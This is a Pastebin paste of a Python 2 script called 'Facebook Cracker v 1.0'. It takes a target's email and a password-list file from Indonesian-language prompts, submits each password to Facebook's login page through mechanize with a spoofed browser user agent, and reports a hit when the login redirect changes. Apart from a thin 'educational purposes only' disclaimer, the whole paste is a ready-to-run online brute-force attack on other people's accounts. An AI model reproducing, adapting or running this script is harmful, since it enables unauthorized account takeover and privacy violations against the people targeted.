Advertisement
Guest User

fesbuk.py

a guest
Nov 2nd, 2014
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.99 KB | None | 0 0
  1.  
  2.  
  3. #!usr/bin/python
  4.  
  5. #This program is for educational purposes only.
  6. #Don't attack people facebook accounts it's illegal !
  7. #If you want to crack into someone's account, you must have the permission of the user.
  8. #We are not responsible.
  9.  
  10.  
  11. import sys
  12. import random
  13. import mechanize
  14. import cookielib
  15.  
  16.  
  17. GHT = '''
  18.  
  19. +=======================================+
  20. |..........Facebook Cracker v 1.0.......|
  21. +---------------------------------------+
  22. |#Author: Mauritania Attacker |
  23. |#Contact: Behind you ^_^ |
  24. |#Modifed by : .dot-RNGG |
  25. |#This tool is made for pentesting. |
  26. |#Changing the Description of this tool |
  27. |Won't made you the coder ^_^ !!! |
  28. |#Respect Coderz ^_^ |
  29. |#I take no responsibilities for the |
  30. | use of this program ! |
  31. +=======================================+
  32. |........Facebook Cracker v 1.0.........|
  33. +---------------------------------------+
  34. '''
  35. print "Hellcome Facebook Cracker Ready !!"
  36. print "Go To Hell !!!"
  37.  
  38.  
  39. email = str(raw_input("Masukkan alamat email target : "))
  40. passwordlist = str(raw_input("Masukkan nama file password list : "))
  41.  
  42. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  43.  
  44.  
  45.  
  46. login = 'https://www.facebook.com/login.php?login_attempt=1'
  47. def attack(password):
  48.  
  49. try:
  50. sys.stdout.write("\r[*] trying %s.. " % password)
  51. sys.stdout.flush()
  52. br.addheaders = [('User-agent', random.choice(useragents))]
  53. site = br.open(login)
  54. br.select_form(nr=0)
  55.  
  56.  
  57. ##Facebook
  58. br.form['email'] =email
  59. br.form['pass'] = password
  60. br.submit()
  61. log = br.geturl()
  62. if log != login:
  63. print "\n\n\n [*] Password found .. !!"
  64. print "\n [*] Password : %s\n" % (password)
  65. sys.exit(1)
  66. except KeyboardInterrupt:
  67. print "\n[*] Exiting program .. "
  68. sys.exit(1)
  69.  
  70. def search():
  71. global password
  72. for password in passwords:
  73. attack(password.replace("\n",""))
  74.  
  75.  
  76.  
  77. def check():
  78.  
  79. global br
  80. global passwords
  81. try:
  82. br = mechanize.Browser()
  83. cj = cookielib.LWPCookieJar()
  84. br.set_handle_robots(False)
  85. br.set_handle_equiv(True)
  86. br.set_handle_referer(True)
  87. br.set_handle_redirect(True)
  88. br.set_cookiejar(cj)
  89. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  90. except KeyboardInterrupt:
  91. print "\n[*] Exiting program ..\n"
  92. sys.exit(1)
  93. try:
  94. list = open(passwordlist, "r")
  95. passwords = list.readlines()
  96. k = 0
  97. while k < len(passwords):
  98. passwords[k] = passwords[k].strip()
  99. k += 1
  100. except IOError:
  101. print "\n [*] Error: check your password list path \n"
  102. sys.exit(1)
  103. except KeyboardInterrupt:
  104. print "\n [*] Exiting program ..\n"
  105. sys.exit(1)
  106. try:
  107. print GHT
  108. print " [*] Email to crack : %s" % (email)
  109. print " [*] Loaded :" , len(passwords), "passwords"
  110. print " [*] Cracking, please wait ..."
  111. except KeyboardInterrupt:
  112. print "\n [*] Exiting program ..\n"
  113. sys.exit(1)
  114. try:
  115. search()
  116. attack(password)
  117. except KeyboardInterrupt:
  118. print "\n [*] Exiting program ..\n"
  119. sys.exit(1)
  120.  
  121. if __name__ == '__main__':
  122. check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement